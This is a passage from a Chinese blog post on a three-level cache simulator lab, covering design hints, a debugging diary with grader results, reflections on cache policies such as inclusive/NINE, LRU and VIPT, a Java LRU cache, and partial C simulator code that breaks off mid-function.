line\n你可以简单使用循环的方式来暴力实现LRU，而不考虑复杂度的问题，为此，你可以维护一个全局时钟并且仔细的设置cache line结构中的latest_used字段\n在evict一条cache line时，你需要考虑dirty字段的影响，换句话说，如果dirty为true，你需要在加载新的cache line之前，将旧的cache line写回到下一级cache（或内存）。如果dirty为false，你可以简单的将这条cache line丢弃\n你在进行evict的时候，无需对evict的cache line的LRU字段进行改动\n你需要在每次成功访问一条cache line之后设置LRU字段，成功访问指写入/读取命中，或者是从下级缓存加载了相应的cache line之后的读取/写入操作\n在发生conflict miss时，你需要严格遵守先fetch，后evict的过程，即先访问下一级缓存或者内存得到数据所在的cache line，再选择需要evict的cache line，这可能会影响LRU设置的顺序。考虑一个例子，假如某个时刻全局时钟为10，L1发生conflict miss，L2 hit，你需要首先访问L2，由于L2 hit，设置L2中对应的cache line的LRU为10，然后将cache line返回给L1，假设L1需要evict的cache line是dirty的，你需要将其首先写回L2，这是100% hit的（为什么？），因此设置L2中对应的cache line的LRU为11，最后将需要的cache line放置在L1经evict空出的位置上，然后设置对应的LRU为12\n本次实验要求上一级cache的内容一定存在于下一级cache中，这叫做inclusive policy。你需要时刻保证这一条性质，并且好好利用它\n受限于inclusive policy，写回脏数据的过程实际上是100% hit的，你需要合理的安排代码顺序实现这一点\n当你处理write miss时，需要首先访问下一级缓存（或者内存）获取cache line，然后再写入这条cache line。在此过程中，你需要仔细思考对于下一级缓存应该以什么类型进行访问\n如果你需要从L2 evict某个cache line，假设这个cache line也存在于L1, 你需要将L1中对应的cache line也进行evict，这个过程叫做back invalidation。如果L1中的数据是dirty的，你需要首先将其写回L2。\n如果你需要从L3 evict一个cache line，你也需要分别将L1和L2中对应的cache line进行evict。在此过程中，你需要好好思考evict的顺序，以保证inclusive的性质。\n注意，不同级别的缓存cache line的大小可能是不一样，你在设计代码的时候需要考虑这会产生哪些影响，并仔细的处理相关流程\nvscode ctrl + shift + I整理代码\n我草，debug快疯了\u0026hellip;\u0026hellip;（debug日记）\n//分析一下错误 Testcase Lines Result Random Score --------------------------------------------------------------------------------- traces-data-intensive/long.trace 267988 FAIL IGNORE 0/3 Details for trace \u0026lt;traces-data-intensive/long.trace\u0026gt; Your simulator Reference simulator Level Hits Misses Evicts Hits Misses Evicts L1 D 231249 55715 53833 230444 56520 53285 L1 I 0 0 0 0 0 0 L2 46998 26645 26424 47391 27797 24629 L3 32061 10181 10053 33435 11645 11517 hits 和 misses的和相等，但是差刚好差了805,hits多了，misses少了，随之evict也会变多，这应该不是计数而是逻辑的问题\nraces-basic/mixed-2.trace 90 FAIL IGNORE 0/5 Details for trace \u0026lt;traces-basic/mixed-2.trace\u0026gt; Your simulator Reference simulator Level Hits Misses Evicts Hits Misses Evicts L1 D 20 60 52 20 60 52 L1 I 18 12 7 17 13 6 L2 71 43 15 71 44 16 L3 19 28 0 21 28 0 为什么I指令自己没错，分开都没错，但是结合到一起就出错了,两者之间为什么会相互影响？？？\ntraces-hard/grep.trace 406467 FAIL IGNORE 0/1 Details for trace \u0026lt;traces-hard/grep.trace\u0026gt; Your simulator Reference simulator Level Hits Misses Evicts Hits Misses Evicts L1 D 37304 1068 949 22544 15828 502 L1 I 184075 184064 184034 184075 184064 184016 L2 176099 9087 9055 118023 81983 81951 L3 6693 2413 2285 79669 2416 2288 L3hits之间差距过大,L2中的数据没有及时驱逐？？？\n先放这，休息一下再看。\n已经拿了76分，但实在是很难找到剩下的逻辑错误！煎熬！\nOK，最后拿了93分，差一点点实在是找不出来为啥了,不贴源代码了，写了六七百行能跑的垃圾，之后再精简总结一下,这下是真尽力了，我感觉已经不是一个设计的问题了，到最后我甚至要去猜哪里的设计提示是不是说的有问题，有错误，那就没有意思了对么\u0026hellip;\u0026hellip;\n最后应该是因为三层地址中block位并不一样的原因，这里要细节处理一下，因为你直接把L3的block干成0,可能会对于L2的setIndex位产生影响。\n我放代码：\n1.我写的代码很垃圾，放的没有意义（主要是时间很紧张，压缩一下应该能在300行左右）。\n2.维护学术诚信。\n关于Cache的一些思考 # 也不算很深，进一步探究一下，以下都是我自己或者问gpt得到的观点，自己的一些看法，如果您对于某个问题有着更好的理解，欢迎在评论区指出来，这里我说的低级cache或者下层的cache指的是靠近内存的cache。\n1. # 在这个实验中一直强调的一个点是Inclusive policy，这种设计方法在以前的CPU，特别是Intel的CPU中很常见，但其实现代的CPU以及逐渐转向使用NINE模式，因此会产生以下问题：\n使用Inclusive policy的缓存必须满足什么条件？这样设计的优缺点分别是什么？\n​\t底层缓存必须包含上层的缓存，在底层缓存驱逐的时候要做back invalidation。\n好处：\n​\t好判断，多核的时候很好知道高级缓存的内容是否存在于低级缓存之中。\n缺点：\n​\t冗余数据驱逐：L2 驱逐某数据时，即使 L1 正在频繁使用，也必须一并驱逐它，增加了不必要的 L1 miss。\n​\t容量浪费：为了维护包含关系，L2 的一些空间可能被迫用于保持与 L1 相同的数据，降低了有效利用率。\n​\t降低性能上限：高级缓存未能成为真正的“补充层”，而是受限于 L1 的命中内容。\nNINE策略不要求低级cache强制包含高级cache内容，这样做相比inclusive的好处和坏处分别是什么？\n​\t（NINE：Non-Inclusive, Non-Exclusive）\n​\tNINE就是说下层的cache和上层的cache，二者之间不要求下层cache一定要包含上层cache的内容，同时也不要求两层cache之间的内容一定要是相互排斥的。\n好处：\n​\t减少了数据冗余，提高了缓存的利用率，当下层的cache要被驱逐的时候，不会影响上层的cache，从而导致没有必要的cache miss。\n缺点：\n​\t我很难保证一致性的问题，并且数据的管理相对复杂（NINE就是在包含性和排他性策略之间的一种状态），比如说我在L2 cache hit了之后，决定到底要不要把这个数据加载到L1中去之后干掉L2,包含性就是不能干掉，排他性就是必须干掉。\n本次实验实际上借助inclusive的性质大大简化了设计，如果采用NINE结构，你将如何调整你的代码？\n​\t首先去除back invalidation的这部分逻辑，其次和上一个问题一样，我要设置premote下层cacheline的一个逻辑。\n2. # 现代CPU几乎都采用L1D和L1I两种缓存结构，而在L2及更低级的缓存使用统一指令和数据的方式，这么做的好处是什么？\n以下是gpt的回答（我觉得写的还好，是否合理我也就不算很清楚了）：\n✅ 为什么 L1 要分成 L1D 和 L1I？\n➕ 好处一：提高访问带宽（并行性）\nCPU 在每个周期通常同时需要取指（fetch instruction）和访问数据。 如果 L1 是 unified 的，指令和数据会争用同一个缓存端口（cache port）。 分离 L1I 和 L1D 后，CPU 能 同时读取指令和访问数据，实现并发访问，提升执行效率。 ➕ 好处二：降低访问延迟（latency）\nL1 是最靠近执行核心的缓存，需要尽可能小而快。 分开管理指令和数据，可以让 L1I 和 L1D 各自做更有针对性的优化，例如： L1I 可以预取、预测分支； L1D 可以更好地处理 load/store、写缓冲等。 ➕ 好处三：避免污染和干扰\n指令和数据的访问模式差异很大： 指令访问具有更强的顺序性、局部性好； 数据访问则可能跳跃、随机、重复读取。 分开缓存避免了数据污染指令缓存（或反之），提升命中率和稳定性。 ✅ 为什么 L2/L3 使用 unified cache？\n➕ 原因一：提高缓存利用率\nL2/L3 体积更大（通常是几百 KB 到几十 MB）。 如果分为 I-cache 和 D-cache，则可能出现： L2D 已满但 L2I 还有空闲空间（或反之）； 导致资源浪费。 Unified cache 可以动态地根据访问需求分配空间，更灵活。 ➕ 原因二：简化设计，节省成本\nL2/L3 远离核心，访问延迟更高，并发访问不再是瓶颈。 统一设计结构更简单，不需要分别维护 tag、替换策略等逻辑。 ➕ 原因三：有助于 cache coherence 协议的实现\n多核共享的 L3 cache 使用统一结构更方便跟踪、标记和通信，便于维护一致性。 3. # 你觉得CPU是如何区分指令内存和数据内存的访问的？\n​\t1.现代 CPU 内部有清晰划分的模块：\n取指单元（Instruction Fetch Unit） 专门负责取指令 加载/存储单元（Load/Store Unit） 专门负责读写数据 这两者访问内存的路径不同，进而访问不同的 Cache 层次结构（如 L1I vs. L1D）。\n​\t2.从软件视角来看：\n编译器把「执行代码」转成了存放在某段内存中的机器指令 把「变量数据」分配到另一块内存空间 于是，在 CPU 运行时：\n指令指针（PC / IP）发出的访问是“取指” 普通 Load/Store 指令发出的访问是“访问数据” ​\t也就是说根据发出指令的操作单元就可以说明这个指令究竟是I还是L指令。\n4. # 本次实验要求实现严格的LRU算法，一种暴力实现方式是遍历所有cache line, 这样时间复杂度为O（E），你可以设计一种复杂度为O（1）的实现方式吗？\n​\t一道关于LRUCahce的lc，你应该能很好的理解为什么？https://leetcode.cn/problems/lru-cache/description/\n​\t这是实现的Java代码（我之前写过很多Java代码）\n//Least Recently Used //最近最少使用 //HashMap + DoublyLinkedList class LRUCache { //简单的双向链表 class Node{ int key; int val; Node prev; Node next; public Node(){} public Node(int _key, int _val){key = _key; val = _val;} } private Map\u0026lt;Integer, Node\u0026gt; cache; private int size; private int capacity; private Node head; private Node tail; //初始化缓存 public LRUCache(int capacity) { cache = new HashMap\u0026lt;\u0026gt;(); this.size = 0; this.capacity = capacity; head = new Node(); tail = new Node(); head.next = tail; tail.prev = head; } //相当于读取内存，读取成功这个值就返回value,并且放到双向链表的头部，否则返回-1（实际上要从内存中获取） public int get(int key) { if(cache.containsKey(key)){ moveToHead(cache.get(key)); return cache.get(key).val; } return -1; } //写值，道理类似 public void put(int key, int value) { if(cache.containsKey(key)){ Node node = cache.get(key); node.val = value; moveToHead(node); }else{ ++size; if(size \u0026gt; capacity){ --size; Node d = tail.prev; remove(d); cache.remove(d.key); } Node node = new Node(key, value); cache.put(key, node); add(node); } } //一旦get或者put，就放到head之后，作为最新的节点 private void moveToHead(Node node){ remove(node); add(node); } //一旦过容量，或者其他场景，删除节点 private void remove(Node node){ Node p = node.prev; Node n = node.next; p.next = n; n.prev = p; } //新put进来的元素，加到头节点之后 private void add(Node node){ Node n = head.next; head.next = node; node.prev = head; node.next = n; n.prev = node; } } ​\t基本就是利用；双向链表和hashmap，这样当我们给出一个值，我可以根据这个值直接找到对应的cacheline和在linkedlist中对应的node，直接把这个node提前到head位置，那么这个节点就是最新的，tail之前的节点就是最老的。\n​\t虽然是O（1），但是实际的开销并不会小。\n5. # LRU算法在某种特定的情形下会造成100% miss，你可以发现这种访问模式吗？\n​\tLRU Thrashing（LRU抖动）\n​\t比如这样，你的L1cache现在只有一个set，三行line，我对于四个元素A B C D进行循环的访问，那么开始就会\n​\t依次加入 A B C\n​\t接着读取D miss 去除A 放置D\n​\t接着读取A miss 去除B 放置A\n​\t接着读取B miss 去除 C 放置B\n​\t\u0026hellip;\u0026hellip;\n​\t上面这样的情况就会100%miss。\n6. # 实际硬件中，实现LRU算法其实十分昂贵，因此大多数厂家采用近似LRU的方法，如果让你设计，你会如何设计这种算法？\n来自于gpt，讲的并不好理解，可以看看https://en.wikipedia.org/wiki/Pseudo-LRU\n​\tPseudo-LRU (PLRU)\n实现：\n最常见的是 二叉树 PLRU（Binary Tree Pseudo LRU）： 适用于 4、8、16 路组相联 Cache。 维护一个“树状指针结构”，每个节点记录最近访问的是左还是右。 总共只需 E - 1 个 bit 就能表示选择哪条 line 替换。 原理图：\n(b1) / \\ (b2) (b3) / \\ / \\ A B C D 每个内部节点 0/1 表示最近访问的是哪一侧 选择替换线时，从根节点走向“最久未访问的方向” 举个例子：\nb0, b1, b2 是 3 个位（bit），分别控制走向哪个子树。 每个 bit 记录“最近使用的是哪一边”。 这些 bit 可以这样理解：\n如果 b0 = 0，表示最近访问的是左子树（A、B），因此优先替换右子树（C、D） 如果 b1 = 1，表示在左子树中，最近访问的是 B → 替换 A 如果 b2 = 0，表示在右子树中，最近访问的是 C → 替换 D 从根开始，按照 bit 的指示往“没被最近访问过”的方向走，直到到达一个叶子节点（就是要被替换的 cache line）。\n然后反过来，更新路径上的 bit，表示刚刚走过的那条路径是“最近访问过的”。\n假设当前：\nb0 = 0 → 上次用了左边（A 或 B） b1 = 1 → 上次用了 B b2 = 0 → 上次用了 C 替换时：\n从 b0 看 0 → 最近访问的是左边 → 应该替换右边 进入 b2，看 0 → 最近访问的是 C → 应该替换 D ✅ 所以选择替换 D\n然后把：\nb0 = 1（因为现在访问右边） b2 = 1（访问了 D） 优点：\n硬件实现简单，开销低 实际效果在很多场景下接近 LRU 缺点：\n并不是真正的最久未使用，有可能替换到常用块 7. # 本次实验中在实现上有个小细节是，在发生conflict miss时，我们总是先从下一级fetch数据，然后再判断是否需要evict，这样做的好处和不足是什么？如果上述两个操作的流程互换之后，带来的好处和坏处是什么？你可能需要综合考虑inclusive policy带来的影响。\n​\t如果仅有一层cache和memory，那么先后顺序是无所谓的。\n​\t我们用两层Cache和memory来理解一下这个问题：\n​\tL1 L2 memory\n​\t现在我访问L1 miss，L1满了，直接把那个要放入位置的数据驱逐掉。\n​\t又访问L2 miss，L2满了，驱逐，此时要考虑back invalidation，如果L1包含，那么那行cacheline也要驱逐掉，但是此时back invalidation的cacheline，和L1时候就驱逐的cacheline有可能是一行cacheline，这是否造成了浪费。\n​\t现在再从memory取值放入L2,L1刚刚驱逐的位置。\n方案 优点 缺点 先 fetch 后 evict（实验采用） - 避免 Inclusive 引起的无意义 invalidate - 更稳定一致性 - 实现简单 - 延迟高 - 有时多余 fetch 先 evict 后 fetch - 可优化延迟 - 有可能并行处理 - 易与 Inclusive 冲突 - 需要额外状态管理 8. # 进行cache访问时，需要根据内存地址提取出tag，set等字段，而CPU产生的地址实际上都是虚拟地址，需要额外的机制转换成物理地址（详见虚拟内存章节）。因此，cache的设计实际上可以分成physical index和virtual index两种方式，即采用物理地址或者虚拟地址两种地址解析tag，set等内容，那么：\n使用physical index的cache的优缺点是什么？\n避免了别名的问题，要TLB转换，带来延迟。\n使用virtual index的cache的优缺点是什么？\n访问会变快，但是有别名的问题。\n你能不能设计一种方法综合利用上述两种方式各自的优势？\n不能（？）\n折中方案：VIPT（Virtual Index, Physical Tag） # 先用虚拟地址索引（提取 index），用物理地址比对（tag）\n优势： # 保留了虚拟访问的速度优势（用虚拟 index 找 set） 同时 用物理 tag 避免 alias 问题 是 现代 L1 Cache 的主流设计（只要满足 index bits 不跨 page boundary） 设计要点： # Page offset 不变，必须保证 index bits 落在 page offset 范围（否则访问前无法知道 index）。 比如： 页大小：4KB = 12 bits offset Index bits ≤ 12 Tag 用物理地址中除去 index + block offset 部分 学过一点Java多线程，但是还没有系统学过OS，多少能理解一下多线程的问题，到这里已经相当复杂了，我就不再纸上谈兵了。\n9. # 本次实验中实现的模拟器只能应对顺序访问，如果需要扩展你的模拟器以支持多个线程并发访问，你该如何调整现有的代码？\n​\t每一组cacheset用mutex（互斥🔓），保证任何一个时刻，一个set最多仅有一个thread访问。\n​\t原子操作LRU等数据。\n如果您有更好的看法，欢迎在评论区直接指出！\n10. # 本次实验中不要求考虑多核之间的一致性问题，如果考虑多核之间一致性的问题，且L3作为多核之间的共享缓存，你该如何调整现有的代码？\n11. # 在考虑多核之间cache一致性的前提下，如果需要将inclusive策略变成NINE策略，你需要如何改进现有的代码？\n成品代码：\n在我的github上也有，在你自己实现的时候会发现很多相似的逻辑，想想怎么封装，本来应该是一个很精妙的代码构成。\n#include \u0026#34;cachelab.h\u0026#34; #include \u0026lt;stdint.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; // 可能要包含的头文件 // 要不要封装功能？具体实现的方式 // 先写的时候可以不急着做功能抽象，先写出来试试看 // Q：当我在l2中访问缓存命中时，我要把这个地址加载回l1,但是由于这个地址已经确定，那么不会出现明明有空但是必须驱逐的现象么 // 相关数据统计量，是我在实现的过程中要进行维护的 容易忘记 一共3 * 4 = 12个数据 // 当一个地址给定的时候，它的所有的SetIndex就已经定下来了 // 注意C语言的{}的风格 int l1d_hits = 0; int l1d_misses = 0; int l1d_evictions = 0; int l1i_hits = 0; int l1i_misses = 0; int l1i_evictions = 0; int l2_hits = 0; int l2_misses = 0; int l2_evictions = 0; int l3_hits = 0; int l3_misses = 0; int l3_evictions = 0; // 定义一些常量 #define L1S 2 #define L1B 3 #define L2S 3 #define L2B 3 #define L3S 4 #define L3B 4 #define INSTRUCTION 0 #define DATA 1 //@params time:要使用LRU算法维护的一个全局时钟 int timeStamp = 0; // 全局变量加载默认初始化为0 void cacheInit() { } // 拼接地址,假设填充的偏移字节不会产生影响：都用0来做填充 // 这里要好好检查有没有出错 uint64_t addressConcate(uint64_t tag, uint64_t setIndex, int s, int b) { uint64_t addr = ((tag \u0026lt;\u0026lt; (s + b)) | (setIndex \u0026lt;\u0026lt; b)); return addr; } // 把驱逐一个CacheLine的功能封装一下,要考虑无效回溯的情况，但是我很难封装到一个function里面去，最好写成四个function // 要驱逐的cacheLine地址 // 并且合理利用包含准则 // 直接把地址作为参数，复用性是不是会更强---\u0026gt;我的目的还是为了少传送几个参数 // 这几个驱逐的函数只是单纯的做驱逐的处理，但是不会加载新的值 // lru找要不要也封装？这样对地址操作有可能出错吗？ // 还要对于统计量进行操作 // 要考察是不是无效回溯导致的驱逐，如果是，那么这里不应该算进去统计的问题 // l1i是一个只读的内存, void evictCacheLineFroml1i(uint64_t evictAddress, bool isBackInvalidation) { uint64_t tag = (evictAddress \u0026gt;\u0026gt; (L1S + L1B)); uint64_t setIndex = ((evictAddress \u0026gt;\u0026gt; L1B) \u0026amp; 0b11); int evictIndex = -1; for (int index = 0; index \u0026lt; L1_LINE_NUM; ++index) { // 找到了要驱逐的行 if (l1icache[setIndex][index].valid \u0026amp;\u0026amp; l1icache[setIndex][index].tag == tag) { evictIndex = index; break; } } // 没有要驱逐的行,因为要考虑Back Invalidation if (evictIndex == -1) { return; } // 有要驱逐的行 if (!isBackInvalidation) { ++l1i_evictions; } l1icache[setIndex][evictIndex].valid = false; } // L1dcache的驱逐的逻辑和L1icahce的逻辑应该是类似的,其实不是 void evictCacheLineFroml1d(uint64_t evictAddress, bool isBackInvalidation) { uint64_t tag = (evictAddress \u0026gt;\u0026gt; (L1S + L1B)); uint64_t setIndex = ((evictAddress \u0026gt;\u0026gt; L1B) \u0026amp; 0b11); int evictIndex = -1; for (int index = 0; index \u0026lt; L1_LINE_NUM; ++index) { // 找到了要驱逐的行 if (l1dcache[setIndex][index].valid \u0026amp;\u0026amp; l1dcache[setIndex][index].tag == tag) { evictIndex = index; break; } } // 没有要驱逐的行,因为要考虑Back Invalidation if (evictIndex == -1) return; if (!isBackInvalidation) { ++l1d_evictions; } // 有要驱逐的行 l1dcache[setIndex][evictIndex].valid = false; if (l1dcache[setIndex][evictIndex].dirty) { uint64_t tag2 = (evictAddress \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex2 = ((evictAddress \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { if (l2ucache[setIndex2][index].valid \u0026amp;\u0026amp; l2ucache[setIndex2][index].tag == tag2) { // L2的这个Cache被写了，更改timeStamp ++l2_hits; ++timeStamp; l2ucache[setIndex2][index].latest_used = timeStamp; l2ucache[setIndex2][index].dirty = true; return; } } } } // 从l2ucache驱逐,还要考虑你驱逐的是i还是d void evictCacheLineFroml2(uint64_t evictAddress, int TYPE, bool isBackInvalidation) { if (!isBackInvalidation) { uint64_t tag = (evictAddress \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex = ((evictAddress \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); int evictIndex = -1; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { if (l2ucache[setIndex][index].valid \u0026amp;\u0026amp; l2ucache[setIndex][index].tag == tag) { evictIndex = index; } } // 没有找到要驱逐的位置 if (evictIndex == -1) { return; } // 这里要进行驱逐 // 首先从l2ucache驱逐要考虑无效回溯 // L2 back Invalidation L1的时候不应该给L1算一次evict? ++l2_evictions; evictCacheLineFroml1d(evictAddress, true); evictCacheLineFroml1i(evictAddress, true); l2ucache[setIndex][evictIndex].valid = false; // 直接驱逐的情况 if (l2ucache[setIndex][evictIndex].dirty) { uint64_t tag3 = (evictAddress \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((evictAddress \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { if (l3ucache[setIndex3][index].valid \u0026amp;\u0026amp; l3ucache[setIndex3][index].tag == tag3) { ++l3_hits; ++timeStamp; l3ucache[setIndex3][index].latest_used = timeStamp; l3ucache[setIndex3][index].dirty = true; return; } } } } else { uint64_t tag = (evictAddress \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex = ((evictAddress \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); int evictIndex = -1; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { if (l2ucache[setIndex][index].valid \u0026amp;\u0026amp; l2ucache[setIndex][index].tag == tag) { evictIndex = index; evictCacheLineFroml1d(evictAddress, true); evictCacheLineFroml1i(evictAddress, true); l2ucache[setIndex][evictIndex].valid = false; // 直接驱逐的情况 if (l2ucache[setIndex][evictIndex].dirty) { uint64_t tag3 = (evictAddress \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((evictAddress \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); for (int i = 0; i \u0026lt; L3_LINE_NUM; ++i) { if (l3ucache[setIndex3][i].valid \u0026amp;\u0026amp; l3ucache[setIndex3][i].tag == tag3) { ++l3_hits; ++timeStamp; l3ucache[setIndex3][i].latest_used = timeStamp; l3ucache[setIndex3][i].dirty = true; } } } } } if (setIndex % 2 == 0) { ++setIndex; evictIndex = -1; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { if (l2ucache[setIndex][index].valid \u0026amp;\u0026amp; l2ucache[setIndex][index].tag == tag) { evictIndex = index; evictCacheLineFroml1d(evictAddress, true); evictCacheLineFroml1i(evictAddress, true); l2ucache[setIndex][evictIndex].valid = false; // 直接驱逐的情况 if (l2ucache[setIndex][evictIndex].dirty) { uint64_t tag3 = (evictAddress \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((evictAddress \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); for (int i = 0; i \u0026lt; L3_LINE_NUM; ++i) { if (l3ucache[setIndex3][i].valid \u0026amp;\u0026amp; l3ucache[setIndex3][i].tag == tag3) { ++l3_hits; ++timeStamp; l3ucache[setIndex3][i].latest_used = timeStamp; l3ucache[setIndex3][i].dirty = true; } } } } } } if (setIndex % 2 == 1) { --setIndex; evictIndex = -1; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { if (l2ucache[setIndex][index].valid \u0026amp;\u0026amp; l2ucache[setIndex][index].tag == tag) { evictIndex = index; evictCacheLineFroml1d(evictAddress, true); evictCacheLineFroml1i(evictAddress, true); l2ucache[setIndex][evictIndex].valid = false; // 直接驱逐的情况 if (l2ucache[setIndex][evictIndex].dirty) { uint64_t tag3 = (evictAddress \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((evictAddress \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); for (int i = 0; i \u0026lt; L3_LINE_NUM; ++i) { if (l3ucache[setIndex3][i].valid \u0026amp;\u0026amp; l3ucache[setIndex3][i].tag == tag3) { ++l3_hits; ++timeStamp; l3ucache[setIndex3][i].latest_used = timeStamp; l3ucache[setIndex3][i].dirty = true; } } } } } } } } // 从l3ucache驱逐，同样要考虑驱逐的类型问题 void evictCacheLineFroml3(uint64_t evictAddress, int TYPE) { uint64_t tag = (evictAddress \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex = ((evictAddress \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); int evictIndex = -1; for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { if (l3ucache[setIndex][index].valid \u0026amp;\u0026amp; l3ucache[setIndex][index].tag == tag) { evictIndex = index; break; } } if (evictIndex == -1) { return; } // Back Invalidation ++l3_evictions; evictCacheLineFroml2(evictAddress, INSTRUCTION, true); l3ucache[setIndex][evictIndex].valid = false; } // TODO：思考fetch函数组的封装有没有问题 // 想把一个line从L2fetch到l1i void fetchl2tol1i(uint64_t setIndex1, uint64_t tag1) { // 维护l1驱逐的情况 int evictIndexl1i = -1; uint64_t minTimeStampl1i = UINT64_MAX; for (int j = 0; j \u0026lt; L1_LINE_NUM; ++j) { // 能找到L1也存在无效的情况,最好的情况 if (!l1icache[setIndex1][j].valid) { ++timeStamp; l1icache[setIndex1][j].latest_used = timeStamp; l1icache[setIndex1][j].dirty = false; l1icache[setIndex1][j].tag = tag1; l1icache[setIndex1][j].valid = true; return; } // 要给l1驱逐的情况 else { if (l1icache[setIndex1][j].latest_used \u0026lt; minTimeStampl1i) { minTimeStampl1i = l1icache[setIndex1][j].latest_used; evictIndexl1i = j; } } } // 先给l1i做驱逐 uint64_t evictL1iAddress = addressConcate(l1icache[setIndex1][evictIndexl1i].tag, setIndex1, L1S, L1B); evictCacheLineFroml1i(evictL1iAddress, false); // 此时l1i已经驱逐完毕,驱逐完了之后再fetch进去 ++timeStamp; l1icache[setIndex1][evictIndexl1i].latest_used = timeStamp; l1icache[setIndex1][evictIndexl1i].dirty = false; l1icache[setIndex1][evictIndexl1i].tag = tag1; l1icache[setIndex1][evictIndexl1i].valid = true; } // 把一个line从L2fetch到l1d void fetchl2tol1d(uint64_t setIndex1, uint64_t tag1) { int evictIndexl1d = -1; uint64_t minTimeStampl1d = UINT64_MAX; for (int j = 0; j \u0026lt; L1_LINE_NUM; ++j) { if (!l1dcache[setIndex1][j].valid) { ++timeStamp; l1dcache[setIndex1][j].latest_used = timeStamp; l1dcache[setIndex1][j].dirty = false; l1dcache[setIndex1][j].tag = tag1; l1dcache[setIndex1][j].valid = true; return; } else { if (l1dcache[setIndex1][j].latest_used \u0026lt; minTimeStampl1d) { minTimeStampl1d = l1dcache[setIndex1][j].latest_used; evictIndexl1d = j; } } } uint64_t evictL1dAddress = addressConcate(l1dcache[setIndex1][evictIndexl1d].tag, setIndex1, L1S, L1B); evictCacheLineFroml1d(evictL1dAddress, false); ++timeStamp; l1dcache[setIndex1][evictIndexl1d].latest_used = timeStamp; l1dcache[setIndex1][evictIndexl1d].dirty = false; l1dcache[setIndex1][evictIndexl1d].tag = tag1; l1dcache[setIndex1][evictIndexl1d].valid = true; } // 把一个line从L3fetch到L2 void fetchl3tol2(uint64_t setIndex2, uint64_t tag2, int TYPE) { uint64_t minTimeStamp = UINT64_MAX; // 如果满了，要驱逐的index int evictIndex = -1; for (int i = 0; i \u0026lt; L2_LINE_NUM; ++i) { if (!l2ucache[setIndex2][i].valid) { ++timeStamp; l2ucache[setIndex2][i].latest_used = timeStamp; l2ucache[setIndex2][i].dirty = false; l2ucache[setIndex2][i].tag = tag2; l2ucache[setIndex2][i].valid = true; return; } else { if (l2ucache[setIndex2][i].latest_used \u0026lt; minTimeStamp) { minTimeStamp = l2ucache[setIndex2][i].latest_used; evictIndex = i; } } } // 考虑L2的驱逐 uint64_t evictaddressl2 = addressConcate(l2ucache[setIndex2][evictIndex].tag, setIndex2, L2S, L2B); evictCacheLineFroml2(evictaddressl2, TYPE, false); ++timeStamp; l2ucache[setIndex2][evictIndex].latest_used = timeStamp; l2ucache[setIndex2][evictIndex].dirty = false; l2ucache[setIndex2][evictIndex].tag = tag2; l2ucache[setIndex2][evictIndex].valid = true; } // 把一个内存中的值fetch到l3 void fetchMemoryTol3(uint64_t setIndex3, uint64_t tag3, int TYPE) { int evictIndex = -1; uint64_t minTimeStamp = UINT64_MAX; for (int index = 0; index \u0026lt; L3_LINE_NUM; ++index) { if (!l3ucache[setIndex3][index].valid) { ++timeStamp; l3ucache[setIndex3][index].latest_used = timeStamp; l3ucache[setIndex3][index].dirty = false; l3ucache[setIndex3][index].tag = tag3; l3ucache[setIndex3][index].valid = true; return; } else { if (l3ucache[setIndex3][index].latest_used \u0026lt; minTimeStamp) { minTimeStamp = l3ucache[setIndex3][index].latest_used; evictIndex = index; } } } uint64_t evictAddress = addressConcate(l3ucache[setIndex3][evictIndex].tag, setIndex3, L3S, L3B); evictCacheLineFroml3(evictAddress, TYPE); ++timeStamp; l3ucache[setIndex3][evictIndex].latest_used = timeStamp; l3ucache[setIndex3][evictIndex].dirty = false; l3ucache[setIndex3][evictIndex].tag = tag3; l3ucache[setIndex3][evictIndex].valid = true; } /* 我们先写一个Instruction尝试一下:读取指令 * @params addr 为访问地址，它是trace文件中的地址的十进制表示的结果,64位16进制内存地址 * OK：经过纯I指令检测，这个函数实现的没有问题 */ void instruct(uint64_t addr) { // 先访问第一级Cache,处理addr uint64_t tag1 = (addr \u0026gt;\u0026gt; (L1S + L1B)); uint64_t setIndex1 = ((addr \u0026gt;\u0026gt; L1B) \u0026amp; 0b11); uint64_t tag2 = (addr \u0026gt;\u0026gt; (L2S + L2B)); uint64_t setIndex2 = ((addr \u0026gt;\u0026gt; L2B) \u0026amp; 0b111); uint64_t tag3 = (addr \u0026gt;\u0026gt; (L3S + L3B)); uint64_t setIndex3 = ((addr \u0026gt;\u0026gt; L3B) \u0026amp; 0b1111); // 根据拿到的数据看第一级有没有命中 for (int index = 0; index \u0026lt; L1_LINE_NUM; ++index) { // 合法并且tag相同，就是命中 if (l1icache[setIndex1][index].valid \u0026amp;\u0026amp; l1icache[setIndex1][index].tag == tag1) { // 命中之后的处理 ++timeStamp; ++l1i_hits; l1icache[setIndex1][index].latest_used = timeStamp; return; } } // 到这里证明l1i没有命中,在l2中找 ++l1i_misses; for (int index = 0; index \u0026lt; L2_LINE_NUM; ++index) { // l2中缓存命中 if (l2ucache[setIndex2][index].valid \u0026amp;\u0026amp; l2ucache[setIndex2][index].tag == tag2) { ++timeStamp; l2ucache[setIndex2][index].latest_used = timeStamp; ++l2_hits; fetchl2tol1i(setIndex1, tag1); return; } } // 到这里证明l2没有命中，在l3中找 ++l2_misses; for (int index = 0; index \u0026lt; 